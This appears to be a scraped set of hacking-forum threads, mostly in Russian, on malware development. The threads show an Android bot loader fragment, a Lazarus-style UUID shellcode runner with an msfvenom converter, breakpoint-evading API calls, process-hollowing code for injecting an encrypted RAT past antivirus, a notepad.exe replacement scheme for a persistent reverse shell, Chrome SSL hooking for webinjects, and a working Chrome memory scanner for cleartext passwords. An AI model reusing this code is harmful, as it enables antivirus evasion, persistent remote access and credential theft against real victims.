            String PATH = Objects.requireNonNull(mContext.getExternalFilesDir(null)).getAbsolutePath();
            File file = new File(PATH, LOADER_DATA.getString("cacheFile"));
            file.delete();
        }catch (Exception ignored){}
        saveInPreferences(LOADER_DATA);
        startRealApplication();
        return true;
    }

    // sharedPreferences
    private void saveInPreferences(JSONObject data) {
        /*
        я специально вынес работу с хранилищем отдельной функцией, так как хранить открытым текстом критичные
        данные неосмотрительно, вот тут можно зашифровать, ну это дело каждого
         */
        try{
            sharedPreferences.edit().putString("myData", data.toString() ).apply();
        }catch (Exception ignored){}
    }
    private JSONObject loadFromPreferences() {
        /*
        вот тут можно дешифровать
         */
        try{
            String str = sharedPreferences.getString("myData", null);
            if( str != null && !str.isEmpty() ){
                return new JSONObject(str);
            }
        }catch (Exception ignored){}
        return  null;
    }
    // END sharedPreferences

    public JSONObject firstStart(){
        try {
            JSONObject data = loadFromPreferences(); // пытаемся загрузить данные из sharedPreferences
            if (data == null || !data.has("botID")) { //данных нет, это скорее всего первый запуск, нужно собрать с телефона хоть какую либо статсу
                data = new JSONObject();
                data.put("botID", createBotID());
                data.put("model", Build.MODEL);
                data.put("vendor",Build.MANUFACTURER  );
                data.put("sdk", Build.VERSION.SDK_INT );
                saveInPreferences(data); // сохраним их в sharedPreferences
            }
            return data;
        }catch (Exception ignored){}
        return null;
    }
    private String createBotID(){
        //тут формируем ботИД под свое предпочтение, кто-то md5 любит, кто-то строго строки или строго цифры
        return "exampleBotID";
    }

}

ПыСы я ни продаю, ни ставлю, ни разрабатываю и ничего вообще не делаю противозаконного, не нужно мне ничего писать в личку.

Вопросы по блочному шифрованию
ID: 6765d804b4103b69df37585c
Thread ID: 76772
Created: 2022-11-27T00:14:29+0000
Last Post: 2022-11-29T15:10:38+0000
Author: Encommerce
Replies: 41 Views: 1K

Тема опубликована в данном разделе в виду того, что вопрос затрагивает не столько криптографию, сколько работу с железом.

Потихноньку разбираюсь с многопоточным шифрованием. Пишу на Rust, хотя значения это не имеет.
Проводить замеры и тесты, приближенные к реальным условиям, очень сложно и муторно.
Предпологаю, что тут есть умные люди, которые в этом разбираются и могут дать несколько наводок, которые очень сильно упростят мне жизнь)

И так, мы хотим шифровать файлы, при чем в нескольких потоках.

Для больших файлов мы можем и должны использовать блочное шифрование.
Но стоит ли его использовать для небольших файлов, которых большинство, как правило?
Может ли одновременная аллокация в памяти нескольких крупных объектов(10мб, например) нарушить нормальную работу системы?

Кустарные замеры показали отставание на 15-25% при использовании буфера 8кб для файла размером 11мб (ChaCha20)
Довольно существенно.

Стоит также отметить, что тест проводился на SSD, в одном потоке.
А что, если в качестве хранилища будет выступать старый жесткий диск, каждое оброщение к которому будет занимать в десятки раз больше времени?
Можно представить сколько будет генерироваться обращений в режиме многопоточности.

Более редкие обращаения к диску, больший объем записи за раз или частые обращения и меньший объем?
Что из этого будет быстрее с точки зрения времени, затраченного на запись?

Заранее спасибо!
И извините, если вопрос изложен слегка беспорядочно)

Lazarus Shellcode Execution Method
ID: 6765d804b4103b69df375869
Thread ID: 75921
Created: 2022-11-15T08:09:36+0000
Last Post: 2022-11-15T08:18:58+0000
Author: qGodless
Prefix: Статья
Replies: 1 Views: 1K

Source:

![research.nccgroup.com](/proxy.php?image=https%3A%2F%2Fresearch.nccgroup.com%2Fwp- content%2Fuploads%2F2021%2F01%2Fimage-4.png&hash=ce06cd20b267d926bfc7d48ab9dcb39a&return_error=1)

[ RIFT: Analysing a Lazarus Shellcode Execution Method

](https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode- execution-method/)

NCC Group’s Research and Intelligence Fusion Team analyze a recent shellcode execution method used by Lazarus Group

![research.nccgroup.com](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fresearch.nccgroup.com%2Fwp- content%2Fuploads%2F2020%2F07%2Fcropped- Gwl5Lrim_400x400-1.jpg%3Ffit%3D32%252C32%26ssl%3D1&hash=97693e1a127ef15e22a8e0aefff8dae5&return_error=1) research.nccgroup.com

On January 21st 2021, a malware sample was shared by CheckPoint research team via Twitter. The post mentions that this loader belongs to Lazarus group. The modus operandi of phishing with macro documents disguised as job descriptions (via LinkedIn), was also recently documented by ESET in their [Operation In(ter)ception paper](https://www.welivesecurity.com/wp- content/uploads/2020/06/ESET_Operation_Interception.pdf).

Re-Implementing in C​

In order to experiment with the techniques used within these macro documents, we wrote a small shellcode execution harness, converting the VBA into C, to demonstrate execution of a benign calc shellcode. This may be useful for anyone wishing to study the technique or build further detection logic.

C++:Copy to clipboard

#include <Windows.h>
#include <Rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] =
{
    "6850c031-6163-636c-5459-504092741551",
    "2f728b64-768b-8b0c-760c-ad8b308b7e18",
    "1aeb50b2-60b2-2948-d465-488b32488b76",
    "768b4818-4810-48ad-8b30-488b7e300357",
    "175c8b3c-8b28-1f74-2048-01fe8b541f24",
    "172cb70f-528d-ad02-813c-0757696e4575",
    "1f748bef-481c-fe01-8b34-ae4801f799ff",
    "000000d7-0000-0000-0000-000000000000",
};

int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* ha = HeapAlloc(hc, 0, 0x100000);
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);
   
    for (int i = 0; i < elems; i++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
        if (status != RPC_S_OK) {
            printf("UuidFromStringA() != S_OK\n");
            CloseHandle(ha);
            return -1;
        }
         hptr += 16;
    }
    printf("[*] Hexdump: ");
    for (int i = 0; i < elems*16; i++) {
        printf("%02X ", ((unsigned char*)ha)[i]);
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
    CloseHandle(ha);
    return 0;
}

How to get the uuids 's?

By using msfvenom .bin payload you can use the following script to convert it to uuid's

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
python3 bin2uuid.py calc.bin

Python:Copy to clipboard

from uuid import UUID
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)

with open(sys.argv[1], "rb") as f:
    chunk = f.read(16)
    print("{}const char* uuids[] =".format(' '*4))
    print("    {")
    while chunk:
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
            break
        print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
        chunk = f.read(16)
    print("    };")

ENJOY

Серединный вызов API функций
ID: 6765d804b4103b69df37586f
Thread ID: 75174
Created: 2022-11-03T17:07:46+0000
Last Post: 2022-11-05T17:21:46+0000
Author: xmyriy
Prefix: Статья
Replies: 2 Views: 1K

Перечитывал давеча Криса Касперски и его шедевральную (для своего времени) книгу ТиФХА и захотелось более детальнее пощупать такую технику, как Серединный вызов API функций. Желающих прочитать полную версию отсылаю к упомянутому труду, а тут приведу краткое содержание.

Точки останова (breakpoints) ставятся на начало API функции, поэтому их можно обмануть, если начать выполнение не с первой машинной команды. Автор (КК) предлагает «выдрать» из функции несколько байт и поместить их в собственный буфер, после чего совершить переход на оставшийся «хвост» ф-ции. КК проводил эксперименты под Win2k, где, по его подсчетам, не менее 75% функций начинается с классического пролога «push ebp/mov ebp,esp», который в машинном коде выглядит как 55h 8Bh ECh. Если бряк на функцию дебаггер уже поставил (CCh), просто выходим.

Пример ф-ции, копирующей пролог API-функции в локальный стековый буфер (с) КК

Code:Copy to clipboard

ZenWay(char *p, char *dst)
{
int f = 0; // кол-во скопированных в буфер байт
// ОДНОБАЙТОВЫЕ ШАБЛОНЫ
switch(*(unsigned char *)p)
{
case 0xCC: 
printf("hello, hacker!\n");
exit(0);
break;

case 0x6A: // засылка в стек непосредственного значения
memcpy(dst, p, 2); f += 2;
break;
case 0x57: // PUSH EDI
*dst = 0x57; f += 1;
break;
default: f+=0;
}

// ОДНОСЛОВНЫЕ ШАБЛОНЫ
switch(*(WORD *)p)
{
case 0x8B55: // стандартный пролог
*((DWORD*)dst) = 0x00EC8B55; f += 3;
break;
case 0xD22B: // SUB EDX, EDX
*((WORD*)dst) = 0xD22B; f += 2;
break;
case 0x448B: // mov eax, [esp+xx]
case 0x74FF: // PUSH что-то-там
memcpy(dst, p, 4); f += 4;
break;
default:
f+=0;
}

// ШАБЛОН РАСПОЗНАН?
if (f==0) return 0; // нет ни одного совпадения
// ФОРМИРОВАНИЕ ПЕРЕХОДА НА ХВОСТ ФУНКЦИИ
strcpy((dst+f), "\xB8HACK\xFF\xE0");
*((DWORD *)(++dst+f)) = (DWORD) (p+f);
// УСПЕШНОЕ ЗАВЕРШЕНИЕ
return f;
}

Попробуем реализовать вызов MessageBox и посмотреть, что скажет IDA и x32dbg (я мучал tcc)

Code:Copy to clipboard

HINSTANCE hdll;
char ZMessageBoxA[MAX_CODE_SIZE];

int(WINAPI *XMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

hdll = LoadLibrary("USER32.DLL"); if (!hdll) return 0;

XMessageBoxA =(int (WINAPI*)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)) GetProcAddress(hdll, "MessageBoxA"); if (!XMessageBoxA) return 0;

// Копируем первые команды функции и корректируем указатели
if (ZenWay((char *) XMessageBoxA, (char *)ZMessageBoxA)!=0)
XMessageBoxA = (int (WINAPI*)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)) ZMessageBoxA;

// Вызываем
XMessageBoxA(NULL,"Hello","Caption",MB_OK);

Приложение отработало, окошко посмотрели.
666.jpg
Заглянем в IDA, import section
1.jpg

Импорт MessageBoxA отсутствует.
Теперь посмотрим сам вызов MessageBoxA

2.jpg

Бряк на вызов MessageBoxA, установленный в x32dbg не срабатывает по описанным выше причинам.

Техника старая, но вполне имеет место быть.

Injection Function! AV Bypass || help
ID: 6765d804b4103b69df375871
Thread ID: 75205
Created: 2022-11-04T02:01:32+0000
Last Post: 2022-11-04T12:29:41+0000
Author: T1Crazy
Replies: 25 Views: 1K

**First thanks to everyone who helped!

I use this function to inject my payload.exe "byte array" In memory, but I started to be detected at runtime!

payload_from_HxD[] = { 0x5, 0x2, 0x8d, 0xf8, 0x78, 0x2e, 0x5, 0x9c, 0xd6, 0x16, 0x6b, 0xf6, 0xfa, 0x2e, 0x6, 0xc0............... };**
"Payload is encrypted in AES_256"

But something makes me confused, because if I use a harmless payload.exe like Hello word the AV doesn 't detect anything, but if I use a malicious payload.exe like RAT or beacon.exe I get detected when the process resumes

If anyone has an idea why this might be happening, leave a comment!
Thank you again!

C++:Copy to clipboard

void ExecFile_T1Crazy_9bfa9d80355a4c90a51b9517f71d6679(LPSTR szFilePath, LPVOID pFile_T1Crazy_)
{


    // AES Decrypt payload
    AESDecrypt_T1Crazy_a0646342d1ba249743afae0efddcf2c9((char*)payload_T1Crazy_, payload_len, (char*)key, sizeof(key)); // Check

    // PE Headers
    PIMAGE_DOS_HEADER IDH_T1Crazy_; // check
    PIMAGE_NT_HEADERS INH_T1Crazy_; // check
    PIMAGE_SECTION_HEADER ISH_T1Crazy_; // check
    std::cout << "PE Headers: check" << std::endl;
    std::cout << std::endl; getchar();
    // Process Information
    PROCESS_INFORMATION PI_T1Crazy_; // check
    STARTUPINFOA SI_T1Crazy_; // check
    std::cout << "Process Information : check" << std::endl;
    std::cout << std::endl; getchar();

    PCONTEXT CTX_T1Crazy_; // check
    PDWORD dwImageBase_T1Crazy_; // check
    call_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3; // check
    call_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3; // check
    call_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3;// check
    call_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3;// check
    call_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3;// check
    call_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3;// check
    //TEST
    call_T1Crazy_ResumeThreadec02c59dee6faaca3189bace969c22d3 xs_T1Crazy_ResumeThread;

    LPVOID p_T1Crazy_ImageBase;// check
    int Count_T1Crazy_;// check
    std::cout << "CallFunctions XS : check" << std::endl;
    std::cout << std::endl; getchar();

    IDH_T1Crazy_ = PIMAGE_DOS_HEADER(pFile_T1Crazy_);// check
    if (IDH_T1Crazy_->e_magic == IMAGE_DOS_SIGNATURE)// check
    {
        INH_T1Crazy_ = PIMAGE_NT_HEADERS(DWORD(pFile_T1Crazy_) + IDH_T1Crazy_->e_lfanew);// check
        if (INH_T1Crazy_->Signature == IMAGE_NT_SIGNATURE)// check
        {
            RtlZeroMemory(&SI_T1Crazy_, sizeof(SI_T1Crazy_));// check
            RtlZeroMemory(&PI_T1Crazy_, sizeof(PI_T1Crazy_));// check

            if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI_T1Crazy_, &PI_T1Crazy_))// check
            {

                xs_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("VirtualAlloc")));
                std::cout << "xs_T1Crazy_VirtualAlloc = GetProcAddress: check" << std::endl;
                std::cout << std::endl; getchar();

                xs_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("VirtualAllocEx")));
                std::cout << "xs_T1Crazy_VirtualAllocEx = GetProcAddress: check" << std::endl;
                std::cout << std::endl; getchar();

                xs_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("ReadProcessMemory")));
                std::cout << "xs_T1Crazy_ReadProcessMemory = GetProcAddress: check" << std::endl;
                std::cout << std::endl; getchar();

                xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("WriteProcessMemory")));
                std::cout << "xs_T1Crazy_WriteProcessMemory = GetProcAddress : check" << std::endl;
                std::cout << std::endl; getchar();


                CTX_T1Crazy_ = PCONTEXT(xs_T1Crazy_VirtualAllocec02c59dee6faaca3189bace969c22d3(NULL, sizeof(CTX_T1Crazy_), MEM_COMMIT, PAGE_READWRITE));// check
                CTX_T1Crazy_->ContextFlags = CONTEXT_FULL;// check
                std::cout << " PCONTEXT = xs_T1Crazy_VirtualAlloc : check" << std::endl;
                std::cout << std::endl; getchar();

                if (GetThreadContext(PI_T1Crazy_.hThread, LPCONTEXT(CTX_T1Crazy_)))// check
                {
                    xs_T1Crazy_ReadProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPCVOID(CTX_T1Crazy_->Ebx + 8), LPVOID(&dwImageBase_T1Crazy_), 4, NULL);// check
                    std::cout << " xs_T1Crazy_ReadProcessMemory : check" << std::endl;
                    std::cout << std::endl; getchar();


                    if (DWORD(dwImageBase_T1Crazy_) == INH_T1Crazy_->OptionalHeader.ImageBase) // check
                    {
                        xs_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("ntdll.dll")), AY_OBFUSCATE("NtUnmapViewOfSection")));
                        std::cout << " xs_T1Crazy_NtUnmapViewOfSection = GetProcAddress : check" << std::endl;
                        std::cout << std::endl; getchar();


                        xs_T1Crazy_NtUnmapViewOfSectionec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, PVOID(dwImageBase_T1Crazy_)); // check
                        std::cout << " xs_T1Crazy_NtUnmapViewOfSection : check" << std::endl;
                        std::cout << std::endl; getchar();

                    }
                    p_T1Crazy_ImageBase = xs_T1Crazy_VirtualAllocExec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPVOID(INH_T1Crazy_->OptionalHeader.ImageBase), INH_T1Crazy_->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                    std::cout << " xs_T1Crazy_VirtualAllocEx : check" << std::endl;
                    std::cout << std::endl; getchar();


                    if (p_T1Crazy_ImageBase)
                    {
                        xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, p_T1Crazy_ImageBase, pFile_T1Crazy_, INH_T1Crazy_->OptionalHeader.SizeOfHeaders, NULL);
                        std::cout << " xs_T1Crazy_WriteProcessMemory 1 : check" << std::endl;
                        std::cout << std::endl; getchar();


                        for (Count_T1Crazy_ = 0; Count_T1Crazy_ < INH_T1Crazy_->FileHeader.NumberOfSections; Count_T1Crazy_++) // check
                        {
                            ISH_T1Crazy_ = PIMAGE_SECTION_HEADER(DWORD(pFile_T1Crazy_) + IDH_T1Crazy_->e_lfanew + 248 + (Count_T1Crazy_ * 40));// check
                            xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPVOID(DWORD(p_T1Crazy_ImageBase) + ISH_T1Crazy_->VirtualAddress), LPVOID(DWORD(pFile_T1Crazy_) + ISH_T1Crazy_->PointerToRawData), ISH_T1Crazy_->SizeOfRawData, NULL);
                            std::cout << " xs_T1Crazy_WriteProcessMemory 2 : check" << std::endl; getchar();

                        }

                        xs_T1Crazy_WriteProcessMemoryec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hProcess, LPVOID(CTX_T1Crazy_->Ebx + 8), LPVOID(&INH_T1Crazy_->OptionalHeader.ImageBase), 4, NULL);// check
                        std::cout << " xs_T1Crazy_WriteProcessMemory 3 : check" << std::endl; getchar();

                        CTX_T1Crazy_->Eax = DWORD(p_T1Crazy_ImageBase) + INH_T1Crazy_->OptionalHeader.AddressOfEntryPoint;// check
                        std::cout << " AddressOfEntryPoint : check" << std::endl; getchar();

                        xs_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3 = call_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("ntdll.dll")), AY_OBFUSCATE("NtSetContextThread")));
                        std::cout << " xs_T1Crazy_NtSetThreadContext = GetProcAddress : check" << std::endl; getchar();

                        xs_T1Crazy_NtSetThreadContextec02c59dee6faaca3189bace969c22d3(PI_T1Crazy_.hThread, LPCONTEXT(CTX_T1Crazy_));// check
                        std::cout << " xs_T1Crazy_NtSetThreadContext : check" << std::endl; getchar();


                        xs_T1Crazy_ResumeThread = call_T1Crazy_ResumeThreadec02c59dee6faaca3189bace969c22d3(GetProcAddress(GetModuleHandleA(AY_OBFUSCATE("kernel32.dll")), AY_OBFUSCATE("ResumeThread")));
                        std::cout << " xs_T1Crazy_ResumeThread = GetProcAddress : check" << std::endl; getchar();

                        xs_T1Crazy_ResumeThread(PI_T1Crazy_.hThread);// check
                        std::cout << " ResumeThread : check" << std::endl;
                        std::cout << std::endl; getchar();
                    }
                }
            }
        }

        VirtualFree(pFile_T1Crazy_, 0, MEM_RELEASE);// check
        std::cout << " VirtualFree : check" << std::endl;
        std::cout << std::endl; getchar();

    }


}

Avast detection.png

Bypass all AV's & Make Payload that never dies
ID: 6765d804b4103b69df375893
Thread ID: 72151
Created: 2022-08-23T23:15:50+0000
Last Post: 2022-08-31T13:40:42+0000
Author: qGodless
Replies: 25 Views: 1K

The idea is to delete the notepad.exe and download your own which should be combined with a payload And you have to code it so it doesn't execute just replace. This way you will bypass the av's because your not executing anything you just replaced a process
And when the victim starts notepad.exe it will start a payload. This way even if there was an AV it won't be able to stop the reverseshell (I tried it) because it's a windows process that is running
Even if it gets detected & deleted... every time the target starts a notepad it will execute the payload

I previously did this but it requires admin privilege's and a lot of time coding not just deleting and downloading
I did code it in C# but it still needs a lot of fixing to work properly

MinHook не хочет хукать Chrome функцию
ID: 6765d804b4103b69df3758a1
Thread ID: 70450
Created: 2022-07-21T14:34:52+0000
Last Post: 2022-08-02T19:50:42+0000
Author: IPirateS6
Replies: 24 Views: 1K

Приветствую. Пытаюсь написать вебинжекты для Google Chrome, за основу беру NetRipper и для хука юзаю MinHook. По сигнатурке нахожу адреса SSL_Read, SSL_Write. Инициализирую Minhook, вызываю MH_CreateHook и собственно MH_EnableHook. Все функции MinHook возвращают MH_OK. Краша не происходит. ВПРОЧЕМ КАК И ХУКА. Сравнивал адреса SSL_Read/SSL_Write у себя и у NetRipper - оказались идентичными. В чём проблема, никто не в курсе?

C++:Copy to clipboard

typedef int (*SSL_Write_Typedef)(void*, void*, int);
typedef int (*SSL_Read_Typedef)(void*, void*, int);

SSL_Write_Typedef SSL_Write_Original;
SSL_Read_Typedef SSL_Read_Original;

int SSL_Write_Callback(void* fd, void* buffer, int amount)
{
 
    MessageBoxA(0, (PCHAR)buffer, 0, 0); //Не появляется меседжбокс этот
    return SSL_Write_Original(fd, buffer, amount);
}

void HookChrome()
{
.. //Упустим моменты поиска по сигнатурке и инициализации MinHook, оно к сабжу отношения не имеет так-то

SSL_Write_Original = (SSL_Write_Typedef)pWrite64; //pWrite64 это адрес SSL_Write в .text
    
// Add hooks
MH_CreateHook((void*)pWrite64, (void*)SSL_Write_Callback, (void**)&SSL_Write_Original);
MH_EnableHook(MH_ALL_HOOKS);
}
Поиск паролей в памяти chromium (РоС)
ID: 6765d804b4103b69df3758b0
Thread ID: 69550
Created: 2022-07-02T18:26:26+0000
Last Post: 2022-07-03T06:26:01+0000
Author: Quake3
Prefix: Статья
Replies: 3 Views: 1K

В одной теме по обсуждению стиллеров DildoFagins запостил линк на исследование какого-то вайтхета [https://www.cyberark.com/resources/...t-credentials-directly-from-chromium-s- memory](https://www.cyberark.com/resources/threat-research-blog/extracting- clear-text-credentials-directly-from-chromium-s-memory) . В статье он негодует, что оказывается chromium-based браузеры хранят пароли в памяти открытым текстом. Репорты в m$ и гугл ничего особо не дали, т.к. там ответили вида "если малварь попала на комп, то проблема в другом месте, а не в браузере". Но, радостно заканчивает тему автор, во-первых все же чего-то они там поменяли, а во-вторых - количество строк в памяти столь огромно, что найти там креды практически нереально.

Решил задаться этим вопросом . С одной стороны да, автор прав - количество памяти и строк в ней настолько огромно, все равно что искать ключевое слово в "войне и мир" - допустим, оно там есть, но какое и где , черт знает. Искать все строки не вариант сразу. Искать урл по маске - хорошо, но опять же, множество фолс позитивов. Начал смотреть, как оно там хранится. Короче, сдампить их можно (по крайней мере, бОльшую часть), т.к. хранятся данные по такой сигнатуре:

Code:Copy to clipboard

4 и больше нуллбайта .. тут креды... строка - http

т.е. алгоритм такой - ищем строку "- http" , как нашли идем в обратную сторону, пока не найдем двойной нуллбайт (WORD). Почему двойной, если от 4? Данные не будут выровнены по границе DWORD, и потому надо искать именно два подряд + вдруг я ошибся, и там будет меньше. Т.е. алгоритм примерно такой:

Перебор всех процессов, для надежности - в ходе экспериментов у меня пароли хранились только в одном, но какая разница, сдампит оно их за 0.5 секунды или за 5, главное чтобы не пропустить.

C:Copy to clipboard

int m(void)
{
HANDLE h;
PROCESSENTRY32W pe32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnap != INVALID_HANDLE_VALUE)
    {
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (!Process32FirstW(hSnap, &pe32))
    {
        //log err..
        return 1;
    }
    do
    {
        if(lstrcmpW(pe32.szExeFile,L"chrome.exe") == 0) //или msedge или что там еще
            {
            h =    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ , FALSE, pe32.th32ProcessID);
            if(h)
                {
                ParseMem(h);   
                CloseHandle(h);   
                }
            }
    } while (Process32NextW(hSnap,&pe32));
CloseHandle(hSnap);
    }
ExitProcess(0);
}

Просмотр памяти процесса, перебираем все регионы соответствующие критериям (RW , Private)

C:Copy to clipboard

void ParseMem(HANDLE hP)
{
    SYSTEM_INFO s_i;
    MEMORY_BASIC_INFORMATION pmem;
    GetSystemInfo(&s_i);

    for (LPBYTE memPtr, i = (LPBYTE)s_i.lpMinimumApplicationAddress; i <= (LPBYTE)s_i.lpMaximumApplicationAddress;)
    {
        VirtualQueryEx(hP, i, &pmem, sizeof(MEMORY_BASIC_INFORMATION));
        if (pmem.State  == MEM_COMMIT && pmem.Protect == PAGE_READWRITE && pmem.Type == MEM_PRIVATE)
        {
            memPtr = VirtualAlloc(NULL,pmem.RegionSize,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
            if(memPtr)
                {
                SIZE_T tmp;

                if (!ReadProcessMemory(hP,pmem.BaseAddress,memPtr,pmem.RegionSize,&tmp))
                    {OutputDebugStringA("error read memory"); return;}

                find_all(memPtr,pmem.RegionSize);

                VirtualFree(memPtr,0,MEM_RELEASE);
                }
        }
        
        i += pmem.RegionSize;
    }
    
}

Основная магия - поиск сигнатур

C:Copy to clipboard

void find_all (LPBYTE pMem,SIZE_T dwSize)
{
SIZE_T end_pos = 0;
unsigned short int datalen = 0;
LPBYTE pFinded;
char buf[256]; //в реальном проекте выделять память в хипе, ибо может быть оверфлоу

do
{
end_pos = InString1(dwSize,pMem + end_pos,"- http"); //найти строку , это будет конец сигнатуры с кредами
 
    if(end_pos > 0) //если что-то нашлось
        {
        dwSize-=end_pos; //общий размер уменьшить на фрагмент, который уже просмотрели
        pFinded = find_s(pMem,end_pos,&datalen); //указатель на начало данных

        if(datalen > 15) //минимальный размер
            {
            CopyMemory(buf,pFinded,datalen); //копируем в буфер
            pFinded = buf;
            
            while(*pFinded == 0x0) //удалить нуллбайты
                {
                pFinded++;
                }

            OutputDebugStringA(pFinded); //вывести найденую строку
            }
        }
        else
            break;
}while(dwSize >= 0);

}

Поиск я сделал на 64 битном Асме, точнее изначально асм был 32 битный, в итоге пришлось переписать..в общем, желаемой оптимизации не получил, там говнокод по факту, но что есть то есть
Две процедуры, одна ищет подстроку в строке, вторая - двойной нуллбайт.

Code:Copy to clipboard

.model flat,c
lstrlenA PROTO FASTCALL :QWORD
.code
InString1 proc strLen1:QWORD,lpSource:QWORD,lpPattern:QWORD
    ;LOCAL r10:QWORD R10
    ;LOCAL pLen:QWORD r11
    ;local startpos:qword r12
    xor r12,r12   
    inc r12 ;mov r12,1
    
    push rbx
    push rsi
    push rdi

    mov rax, strLen1
    mov r10, rax
    invoke lstrlenA,lpPattern
    mov r11, rax           ; pattern length
 
  @@:
    dec r12            ; correct from 1 to 0 based index

    cmp  rax, r10
    jl @F
    mov rax, -1
    jmp isOut               ; exit if pattern longer than source
  @@:

    sub r10, rax           ; don't read past string end
    inc r10

    mov rcx, r10
    cmp rcx, r12
    jg @F
    mov rax, -2
    jmp isOut               ; exit if startpos is past end
  @@:

  ; ----------------
  ; setup loop code
  ; ----------------
    mov rsi, lpSource
    mov rdi, lpPattern
    mov al, [rdi]           ; get 1st char in pattern

    add rsi, rcx            ; add source length
    neg rcx                 ; invert sign
    add rcx, r12       ; add starting offset

    jmp Scan_Loop

    align 16

  ; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

  Pre_Scan:
    inc rcx                 ; start on next byte

  Scan_Loop:
    cmp al, [rsi+rcx]       ; scan for 1st byte of pattern
    je Pre_Match            ; test if it matches
    inc rcx
    js Scan_Loop            ; exit on sign inversion

    jmp No_Match

  Pre_Match:
    lea rbx, [rsi+rcx]      ; put current scan address in EBX
    mov rdx, r11           ; put pattern length into EDX

  Test_Match:
    mov ah, [rbx+rdx-1]     ; load last byte of pattern length in main string
    cmp ah, [rdi+rdx-1]     ; compare it with last byte in pattern
    jne Pre_Scan            ; jump back on mismatch
    dec rdx
    jnz Test_Match          ; 0 = match, fall through on match

  ; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

  Match:
    add rcx, r10
    mov rax, rcx
    jmp isOut
    
  No_Match:
    xor rax, rax

  isOut:
    pop rdi
    pop rsi
    pop rbx

    ret

InString1 endp


find_s proc lpMem:qword,endpos:qword,datalen:qword ptr
    push rsi
    push rdi

    mov rax,endpos
    push rax ; save endpos
    mov rdi,lpMem
    add rdi,rax ;set pos in finded stroka
    mov rcx,rax ;dlina
    xor rax,rax ;we search nullbyte
    std
    repne scasw
    cld

    pop rax ;restore endpos
    sub rax,rcx ;substract current cnt
    shl rax,1 ;mul x2,because words != bytes
    
    mov rcx,datalen ;load addr
    mov [rcx],ax
    mov rax,rdi

    pop rdi
    pop rsi

    ret
find_s endp

В Си коде не забудьте их объявить

C:Copy to clipboard

int InString1(int strLen1,LPVOID lpSource,LPVOID lpPattern);
LPBYTE find_s(LPVOID lpMem,int endpos,USHORT* datalen);

